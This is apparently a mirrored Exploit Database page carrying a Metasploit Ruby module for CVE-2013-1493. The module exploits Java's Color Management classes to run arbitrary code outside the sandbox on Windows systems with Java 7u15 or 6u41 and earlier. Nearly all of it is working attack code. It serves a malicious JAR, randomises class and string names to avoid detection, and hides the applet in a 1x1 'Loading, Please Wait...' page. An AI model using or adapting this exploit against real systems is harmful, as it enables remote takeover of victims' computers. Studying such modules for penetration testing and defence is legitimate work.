Java CMM – Remote Code Execution (Metasploit)

• Exploit Database
• 30 阅读

• 作者： Metasploit
  日期： 2013-03-29
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/24904/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  require 'rex'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE
  
  include Msf::Exploit::Remote::BrowserAutopwn
  autopwn_info({ :javascript => false })
  
  def initialize( info = {} )
  
  super( update_info( info,
  'Name'=> 'Java CMM Remote Code Execution',
  'Description' => %q{
  This module abuses the Color Management classes from a Java Applet to run
  arbitrary Java code outside of the sandbox as exploited in the wild in February
  and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
  and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
  systems. This exploit doesn't bypass click-to-play, so the user must accept the java
  warning in order to run the malicious applet.
  },
  'License' => MSF_LICENSE,
  'Author'=>
  [
  'Unknown', # Vulnerability discovery and Exploit
  'juan vazquez' # Metasploit module (just ported the published exploit)
  ],
  'References'=>
  [
  [ 'CVE', '2013-1493' ],
  [ 'OSVDB', '90737' ],
  [ 'BID', '58238' ],
  [ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
  [ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
  [ 'URL', 'http://pastie.org/pastes/6581034' ]
  ],
  'Platform'=> [ 'win', 'java' ],
  'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
  'Targets' =>
  [
  [ 'Generic (Java Payload)',
  {
  'Platform' => 'java',
  'Arch' => ARCH_JAVA
  }
  ],
  [ 'Windows x86 (Native Payload)',
  {
  'Platform' => 'win',
  'Arch' => ARCH_X86
  }
  ]
  ],
  'DefaultTarget'=> 1,
  'DisclosureDate' => 'Mar 01 2013'
  ))
  end
  
  
  def setup
  path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1493", "Init.class")
  @init_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
  path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1493", "Leak.class")
  @leak_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
  path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1493", "MyBufferedImage.class")
  @buffered_image_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
  path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1493", "MyColorSpace.class")
  @color_space_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
  
  @init_class_name = rand_text_alpha("Init".length)
  @init_class.gsub!("Init", @init_class_name)
  super
  end
  
  def on_request_uri(cli, request)
  print_status("handling request for #{request.uri}")
  
  case request.uri
  when /\.jar$/i
  jar = payload.encoded_jar
  jar.add_file("#{@init_class_name}.class", @init_class)
  jar.add_file("Leak.class", @leak_class)
  jar.add_file("MyBufferedImage.class", @buffered_image_class)
  jar.add_file("MyColorSpace.class", @color_space_class)
  metasploit_str = rand_text_alpha("metasploit".length)
  payload_str = rand_text_alpha("payload".length)
  jar.entries.each { |entry|
  entry.name.gsub!("metasploit", metasploit_str)
  entry.name.gsub!("Payload", payload_str)
  entry.data = entry.data.gsub("metasploit", metasploit_str)
  entry.data = entry.data.gsub("Payload", payload_str)
  }
  jar.build_manifest
  
  send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
  when /\/$/
  payload = regenerate_payload(cli)
  if not payload
  print_error("Failed to generate the payload.")
  send_not_found(cli)
  return
  end
  send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
  else
  send_redirect(cli, get_resource() + '/', '')
  end
  
  end
  
  def generate_html
  html= %Q|<html><head><title>Loading, Please Wait...</title></head>|
  html += %Q|<body><center><p>Loading, Please Wait...</p></center>|
  html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@init_class_name}.class" width="1" height="1">|
  html += %Q|</applet></body></html>|
  return html
  end
  
  end